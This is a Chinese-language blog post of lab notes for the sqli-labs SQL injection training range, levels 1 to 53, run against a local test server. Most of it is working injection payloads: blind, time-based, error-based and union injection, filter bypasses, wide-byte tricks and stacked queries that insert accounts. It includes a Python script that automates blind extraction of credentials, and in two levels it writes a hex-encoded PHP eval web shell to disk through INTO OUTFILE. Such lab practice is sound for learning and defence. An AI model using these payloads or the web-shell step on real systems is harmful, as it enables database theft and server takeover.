BlankのBlog

Sqlilabs

字数:1228 Topic:web Tag:2018-03

sqlilabs还没系统的做过 立个帖子 记录一下

less1

没啥好说的 单引号闭合

less2

没啥好说的 整形 可以用2-1测试

less3

加’ 报错

Erreur de syntaxe près de ''1'') LIMIT 0,1' à la ligne 1
''1'') LIMIT 0,1' 最外层单引号表示错误语句,去掉后就是
'1'') LIMIT 0,1 然后我输入的是1' 而构成的sql语句是'1'') 可以看到1'被')包裹
也就是')闭合 其他就没啥

less4

”)闭合 判断方式跟3差不多

less5

这里有一个改变就是,如果查询语句正确就返回you are in… 不在有其他回显,所以无法使用1-4的方法,而是使用盲注

首先还是判断闭合方式 加一个单引号报错

 Erreur de syntaxe près de ''1'' LIMIT 0,1' à la ligne 1

可以看到 是’闭合

这时候可以先判断一下数据库名字的长度

http://127.0.0.1/sql/Less-5/?id=1%27and%20length(database())=8%23

当前数据库为security 长度为8 所以会返回正常

判断数据库第一个字符

http://127.0.0.1/sql/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27%23

判断数据库第一位是否大于a 在一般不知道数据库名称的情况下可以使用二分法来提升效率

判断数据库第二个字符

http://127.0.0.1/sql/Less-5/?id=1%27and%20left(database(),2)%3E%27sa%27%23

这里是判断第二位是否大于a 以此类推推断出数据库名称

得到数据库名称后就该尝试得到数据表名称

http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100%23

这里是选择security数据库第一个表的第一个字符的ascii值是否大于100 当然 在这里security可以替换成database() 由于select语句返回的是所有的表名 所以加一个limit限制我们取第一行 也就是第一个表

获取第二个字符只需要将mid函数的第二个参数改成2就好

http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),2,1))%3E100%23

获取第二个表的名字我们只需要更改limit的第一个参数即可 关于limit 第一个参数是起始位置 第二个参数表示偏移量

http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%201,1),1,1))%3E100%23

然后这样可以获取所有的表名 接下来就要获取列名

http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27limit%201,1),1,1))%3E100%23

判断security.users里面第一个列名的第一个字符的ascii是否大于100 判断第二个字符更改mid的参数即可 判断第二个列则更改limit的参数即可 当然 也可以用regexp的方法来匹配

http://127.0.0.1/sql/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20and%20column_name%20regexp%20%27^use[a-z]%27)%23

判断判断security.users里面的列名是否含有use 其中’^use[a-z]‘表示匹配use以及后面跟着1到n个字母的字符串 在本例中 如果将正则改为’^username[a-z]‘则匹配不到

http://127.0.0.1/sql/Less-5/?id=1%27and%201=(select%201%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20and%20column_name%20regexp%20%27^username%27)%23

判断是否含有username的列 将username更改成password,id亦可以

知道了数据库名,表名,列名 接下来就是喜闻乐见的爆数据了

http://127.0.0.1/sql/Less-5/?id=1%27and%20mid((select%20username%20from%20security.users%20limit%200,1),1,1)%3E%27c%27%23

判断security.users里第一个username的第一个值的第一个字符是否大于c 以此类推 第一个值的第二个字符只需更改mid的参数 查询其他值更改limit参数

附less-5的一个盲注脚本 自己写的 感觉已经很精简算法了 但是速度还是不尽人意

import requests

def length_schema():
    for x in range(1,20):
        url = 'http://127.0.0.1/sql/Less-5/?id=1%27and%20length(database())='+str(x)+'%23'
        s = requests.get(url)
        if "You are in" in s.text:
            print 'schema_length is :' + str(x)
            global a
            a = int(x)
            schema_name()
            break
        
def schema_name():
    x = 0
    name = ''
    while x < a:
        x = x + 1
        temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~' 
        for i in temp:
            url = 'http://127.0.0.1/sql/Less-5/?id=1%27and%20mid(database(),'+ str(x) +',1)=%27'+str(i)+'%27%23'
            s = requests.get(url)
            if "You are in" in s.text:
                name = name + str(i)

    print 'sechma_name is :' + name
    global schema_name
    schema_name = name
    all()

def all():
    temp = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~'
    temp_data = 'abcdefghijklmnopqrstuvwxyz0123456789!@$%^&*()_+=-|}{:?><[];,.`~ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    for x in xrange(0,20):
        table_name = ''
        for y in xrange(1,20):
            key = 0
            for i in temp:
                url = 'http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27'+schema_name+'%27%20limit%20'+str(x)+',1),'+str(y)+',1))=ascii(\''+str(i)+'\')%23'
                s = requests.get(url)
                if "You are in" in s.text:
                    key = 1
                    table_name = table_name + str(i)
            if key == 0:
                break
        if table_name == '':
            break
        print 'one of tables is:' + table_name
        for p in xrange(0,20):
            column_name = ''
            for q in xrange(1,20):
                key = 0
                for i in temp:
                    url_columns = 'http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27'+schema_name+'%27%20and%20table_name=%27'+table_name+'%27limit%20'+str(p)+',1),'+str(q)+',1))=ascii(\''+str(i)+'\')%23'
                    s = requests.get(url_columns)
                    if "You are in" in s.text:
                        key = 1
                        column_name = column_name + str(i)
                if key ==0:
                    break
            if column_name == '':
                break
            print 'a column name of '+table_name+' is '+column_name
            for y in xrange(0,10):
                data = ''
                for z in xrange(1,20):
                    key = 0
                    for i in temp_data:
                        url_data = 'http://127.0.0.1/sql/Less-5/?id=1%27and%20ascii(mid((select%20'+column_name+'%20from%20'+schema_name+'.'+table_name+'%20limit%20'+str(y)+',1),'+str(z)+',1))=ascii(\''+str(i)+'\')%23'
                        s = requests.get(url_data)
                        if "You are in" in s.text:
                            data = data + str(i)
                            key = 1
                    if key == 0:
                        break
                if data == '':
                    break
                print 'one data of '+schema_name+'.'+table_name+'\'s '+column_name+' is '+data


length_schema()

执行结果

D:\py_test>python ctf.py
schema_length is :8
sechma_name is :security
one of tables is:emails
a column name of emails is id
one data of security.emails's id is 1
one data of security.emails's id is 2
one data of security.emails's id is 3
one data of security.emails's id is 4
one data of security.emails's id is 5
one data of security.emails's id is 6
one data of security.emails's id is 7
one data of security.emails's id is 8
a column name of emails is email_id
one data of security.emails's email_id is Dumb@dhakkan.com
one data of security.emails's email_id is Angel@iloveu.com
one data of security.emails's email_id is Dummy@dhakkan.local
one data of security.emails's email_id is secure@dhakkan.loca
one data of security.emails's email_id is stupid@dhakkan.loca
one data of security.emails's email_id is superman@dhakkan.lo
one data of security.emails's email_id is batman@dhakkan.loca
one data of security.emails's email_id is admin@dhakkan.com
one of tables is:referers
a column name of referers is id
a column name of referers is referer
a column name of referers is ip_address
one of tables is:uagents
a column name of uagents is id
a column name of uagents is uagent
a column name of uagents is ip_address
a column name of uagents is username
one of tables is:users
a column name of users is id
one data of security.users's id is 1
one data of security.users's id is 2
one data of security.users's id is 3
one data of security.users's id is 4
one data of security.users's id is 5
one data of security.users's id is 6
one data of security.users's id is 7
one data of security.users's id is 8
one data of security.users's id is 9
one data of security.users's id is 10
a column name of users is username
one data of security.users's username is Dumb
one data of security.users's username is Angelina
one data of security.users's username is Dummy
one data of security.users's username is secure
one data of security.users's username is stupid
one data of security.users's username is superman
one data of security.users's username is batman
one data of security.users's username is admin
one data of security.users's username is admin1
one data of security.users's username is admin2
a column name of users is password
one data of security.users's password is Dumb
one data of security.users's password is Angeline
one data of security.users's password is Dummy
one data of security.users's password is secure
one data of security.users's password is stupid
one data of security.users's password is superman
one data of security.users's password is batman
one data of security.users's password is admin
one data of security.users's password is admin1
one data of security.users's password is admin2

less6

“闭合 其他跟less5一样

less7

?id=1 页面返回You are in use into outfile

大概思路就是使用into outfile写一句话木马到服务器上,首先还是判断闭合方式,不在赘述,如果是在实战中或者其他ctf平台上,接下来就是找绝对路径了,本地搭建的平台所以可以忽略这一步,再就是一句话木马要转成16进制格式 payload如下

http://127.0.0.1/sql/Less-7/?id=1%27))union%20select%201,2,0x3c3f70687020406576616c28245f504f53545b2761275d293f3e%20into%20outfile%20%27E:/wamp/wamp/www/sql/Less-7/1.php%27%23
ps:在win下,路径是\分隔,但是由于是在url中,\会被认定为转义符,所以用/或\\

执行后尽管报错了 但是当我们访问1.php的时候还是可以访问的 接下来就可以使用菜刀连接了

less-8

还是盲注,使用less-5的payload也是可以的 查看源代码可以看到跟less-5的区别就在于对sql的报错进行了注释,所以无法使用报错注入

less-9

看标题可以知道是时间盲注,单引号闭合,先是判断数据库的第一个字符

http://127.0.0.1/sql/Less-9/?id=1%27and%20if(ascii(mid(database(),1,1))=115,sleep(2),1)%23

如果数据库第一个字符的ascii值为115,就会sleep两秒,判断第二个字符更改mid函数的第二个参数即可,然后以此类推得到数据库名称。手注时,有一个前提就是知道数据库的长度 payload如下。

http://127.0.0.1/sql/Less-9/?id=1%27and%20if(length(database())=8,sleep(2),1)%23

然后是判断表名

http://127.0.0.1/sql/Less-9/?id=1%27and%20if(ascii(mid((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))=101,sleep(2),1)%23

判断第一个表的第一个字符的ascii值是否位101,是就停顿2秒,判断第二个字符更改mid参数,判断其他表更改limit参数

判断列名

http://127.0.0.1/sql/Less-9/?id=1%27and%20if(ascii(mid((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20limit%200,1),1,1))=105,sleep(2),1)%23

判断emails表的第一个列的第一个字符的ascii值是否为105,是就停顿2秒,判断第二个字符更改mid参数,判断其他表更改limit参数

爆数据

http://127.0.0.1/sql/Less-9/?id=1%27and%20if(ascii(mid((select%20username%20from%20security.users%20limit%200,1),1,1))=68,sleep(2),1)%23

判断security.users里面username的第一个数据的第一个字符的ascii值是否为68

less-10

跟less-9没啥太大区别,就是改成了双引号闭合

less-11

到了less-11就是post注入了 可以先输入一个正确的username和password,比如Dumb和Dumb,可以看到页面返回正常并给出了你的用户名跟密码,然后可以试试万能密码admin’ or 1=1#密码任意输入,发现一样可以登陆,表示我们闭合前面的成功了 然后就可以在or 1=1的位置来进行我们的sql注入了

还是先使用order by判断列数 admin’ order by 2#

接下来就是使用联合查询慢慢注了 不在赘述 -admin’ union select 1,database()#

less-12

双引号+括号闭合 其他的跟11一样

less-13

还是先输入正确的账号跟密码 发现只是先是登陆成功 不在有其他回显

输入admin’ 密码随便输 报错

Erreur de syntaxe près de '1') LIMIT 0,1' à la ligne 1

可以看到是’)闭合 测试语句admin’) and length(database())=8# 密码随便输入

可以看到返回正常 说明数据库长度为8 测试语句 admin’) and ascii(mid(database(),1,1))=115# 判断数据库第一个字符的ascii是否为115 其他可以参考less-5的布尔盲注,基本上一样

less-14

输入admin” 密码为空 报错可以看到是双引号闭合 然后盲注

less-15

这一关注释了错误提示,看标题可以知道是时间盲注单引号闭合 测试语句 admin’ or 1=1# 密码随便输 成功登陆

测试语句 admin’ and if(ascii(mid(database(),1,1))=115,sleep(2),1)#

其他跟less-9差不多吧

less-16

与less-15的区别就在于闭合方式不同 这是双引号闭合

less-17

一个更新数据的地方,尝试输入username=admin newpassword=’ 报错 发现user是单引号包裹 也就是单引号闭合

然后在newpassword处构建注入语句 比如布尔盲注

uname=admin&passwd=' and length(database())=8#&submit=Submit

比如 报错盲注

uname=admin&passwd=' and extractvalue(1,concat(user()))#&submit=Submit

附:常用的报错盲注

至于为啥不在uname处进行注入,查看源代码可以看到,源代码对uname进行了一个处理

less-18

查看源代码可以看到,对我们输入的usernam和password都进行了check处理,但是可以看到一个insert语句

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

可以在uagent处构建注入语句

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('1' and extractvalue(1,concat(user())) and '1'='1', '$IP', $uname)

less-19

在refere处构建注入语句,跟18一样

less-20

从源码中可以看到,当第一访问时会设置一个包含uname的cookie,当再次访问时会从cookie中获取uname值,构造cookie

Cookie: uname=' union select 1,2,user()#; _ga=GA1.1.208750863.1521028790  

Cookie: uname=admin' and extractvalue(1,concat(user()))#; _ga=GA1.1.208750863.1521028790

less-21

跟20差不多,闭合变成了’),再就是把username base64加密了 只需把payload语句进行一下加密就行

Cookie: uname=Cookie: uname=admin' and extractvalue(1,concat(user()))#; _ga=GA1.1.208750863.1521028790; _ga=GA1.1.208750863.1521028790

less-22

双引号闭合,其他跟20一样

Cookie: uname=YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQodXNlcigpKSkj; _ga=GA1.1.208750863.1521028790

less-23

把#和–替换成空

可以使用报错注入

http://127.0.0.1/sql/Less-23/?id=1%27%20and%20updatexml(1,concat(0x7e,version()),1)%20and%20%271%27=%271

less-24

本关为二次排序注入的示范例。二次排序注入也成为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以出发sql注入。二次排序注入思路:

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

此例子中我们的步骤是注册一个admin’#的账号,接下来登录该帐号后进行修改密码。此时修改的就是admin的密码。

Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ‘ AND password=’ ,也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’

less-25

过滤了or和and 双写绕过

http://127.0.0.1/sql/Less-25/?id=1%27%20anandd%20extractvalue(1,concat(0x7e,user()))%23

less-25a

查看源代码可以看到,整形无闭合,关闭了错误回显,所以无法使用报错

http://127.0.0.1/sql/Less-25a/?id=-1%20union%20select%201,2,user()%23

less-26

过滤了or and / * – # 空格 \

使用()代替空格

http://127.0.0.1/sql/Less-26/?id=1%27anandd(updatexml(1,concat(0x7e,user()),1))%20anandd%20%271%27=%271

less-26a

闭合方式变了而已 其他没变

less-27

过滤了/ * – # 空格 + select union UNION SELECT Union Select

http://127.0.0.1/sql/Less-27/?id=1%27and(updatexml(1,concat(0x7e,user()),1))and%271%27=%271

http://127.0.0.1/sql/Less-27/?id=1%27and(updatexml(0,concat(0x7e,(SElECT(concat(table_name))FROM(information_schema.tables)WHERE(table_schema=database())limit%0d0,1)),0))and%271%27=%271

less-27a

区别在于关闭了错误回显以及闭合方式的改变 双引号闭合 无法使用报错注入

http://127.0.0.1/sql/Less-27a/?id=1"order%0aby%0a3;%00

http://127.0.0.1/sql/Less-27a/?id=a%22UniOn%0asElect%0a1,2,group_concat(schema_name)%0afrom%0ainformation_schema.schemata;%00

less-28

过滤了/ * – # 空格 + 以及

$id= preg_replace('/union\s+select/i',"", $id); 

布尔盲注

http://127.0.0.1/sql/Less-28/?id=1%27)%0aand%0amid((select%0atable_name%0afrom%0a%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a0,1),1,1)=%27e%27;%00

网上说unino%a0select以及union/%aa/select也能绕过,但是我不行啊,,,

less-28a

这次只是过滤了union select组合,可以用内联注释分隔关键词 绕过

http://127.0.0.1/sql/Less-28a/?id=1%27)%20union/**/select%201,2,user()%23

less-29

无过滤

http://127.0.0.1/sql/Less-29/?id=a%27union%20select%201,2,user()%23

但是报错注入用不了,,

less-30

双引号

http://127.0.0.1/sql/Less-30/?id=a%22union%20select%201,2,user()%23

less-31

双引号+括号

http://127.0.0.1/sql/Less-31/?id=a%22)union%20select%201,2,user()%23

less-32

宽字节注入

查看源代码,可以看到转义了’“/ 也就是’=>\’ “=>\” \=>\ 但是

mysql_query("SET NAMES gbk");

也就是使用gbk方式把数据写入数据库,首先在gbk编码中,一个汉字占2个字节,在utf-8中一个汉字占3个字节

所以当我们输入%df’时,%df这个字节和\一起被gbk认为是一个汉字 当然被认为是汉字的前提是前一个值的ascii大于128,然后’就逃出来了

在宽字节注入有一点要注意的就是,由于’被转义了,所以当我们标识数据库名数据列名时需要16进制转化 这里只需要将users转化成16进制就行,无需带”

http://127.0.0.1/sql/Less-32/?id=a%df%27union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273)%23

less-33

跟32没太大区别

less-34

post型的宽字节注入

�' and updatexml(1,concat(0x7e,user()),1)#

less-35

和32的区别在于没有对id进行包裹,也就无需闭合

http://127.0.0.1/sql/Less-35/?id=-1%20union%20select%201,2,user()%23

但是有一个问题就是 当把id=a或其他字符时会报错,有点迷

less-36

http://127.0.0.1/sql/Less-36/?id=a%df%27union%20select%201,user(),version()%23

less-37

跟34区别不大

�' and updatexml(1,concat(0x7e,user()),1)#

less-38

堆叠注入,不知道意义何在,,,

http://127.0.0.1/sql/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2720%27,%27test%27,%27test%27)%23

less-39

http://127.0.0.1/sql/Less-39/?id=1;insert%20into%20users(id,username,password)%20values%20(%2716%27,%27test%27,%27test%27)%23

less-40

http://127.0.0.1/sql/Less-40/?id=1%27);insert%20into%20users(id,username,password)%20values%20(%2716%27,%27test%27,%27test%27)%23

less-41

http://127.0.0.1/sql/Less-41/?id=2;insert%20into%20users(id,username,password)%20values%20(%2716%27,%27test%27,%27test%27)%23

less-42

从源码中可以看到,对传入的username进行了一个mysqli_real_escape_string处理,password则没有,所以可以在password处构建payload

username :1
password :1';insert into users (id,username,password) values('16','test','test');

less-43

闭合方式变了

username :1
password :1');insert into users (id,username,password) values('16','test','test');

less-44

与42相比关掉了错误回显

username :1
password :1';insert into users (id,username,password) values('16','test','test');

less-45

与43相比关掉了错误回显

username :1
password :1');insert into users (id,username,password) values('16','test','test');

less-46

Order By 注入

order by后面的数字可以作为一个注入点,可以利用and

http://127.0.0.1/sql/Less-46/?sort=1%20and%20(select%20updatexml(1,concat(0x7e,mid((select%20group_concat(username)%20from%20security.users),1,31)),1))

可以使用(select ….)

http://127.0.0.1/sql/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x7e,(select%20user()),0x7e,floor(rand(0)*2)))

也可以直接挂马

http://127.0.0.1/sql/Less-46/?sort=1%20into%20outfile%20%27E:/wamp/wamp/www/1.php%27%20lines%20terminated%20by%200x3c3f70687020406576616c28245f504f53545b615d293b3f3e

盲注,利用rand(true)和rand(false)返回结果不同盲注

http://127.0.0.1/sql/Less-46/?sort=rand(true)
http://127.0.0.1/sql/Less-46/?sort=rand(false)

ETC…

less-47

测试1’ 返回错误 1”返回正常 单引号闭合

http://127.0.0.1/sql/Less-47/?sort=1%27and%20if(ascii(mid(database(),1,1))=115,0,sleep(5))--+

less-48

关掉了错误回显 其他跟46一样

less-49

无错误回显,单引号闭合

http://127.0.0.1/sql/Less-49/?sort=1%27%20and%20if(ascii(mid(database(),1,1))=111,0,sleep(5))%23

less-50

与46区别在于,50使用mysqli_multi_query($con1, $sql)查询,可以查询多条语句,46只能查询1条

46方法同样可以在50使用

http://127.0.0.1/sql/Less-50/?sort=1;insert%20into%20users%20(id,username,password)%20values(%2716%27,%27test%27,%27test%27);

less-51

http://127.0.0.1/sql/Less-51/?sort=1%27;insert%20into%20users%20(id,username,password)%20values(%2716%27,%27test%27,%27test%27);%27

less-52

http://127.0.0.1/sql/Less-52/?sort=1;insert%20into%20users%20(id,username,password)%20values(%2716%27,%27test%27,%27test%27);%27

less-53

http://127.0.0.1/sql/Less-53/?sort=1%27;insert%20into%20users%20(id,username,password)%20values(%2716%27,%27test%27,%27test%27);%27

后续的挑战,不打算更了,算是完结了

千帆过尽,勿忘初心 UP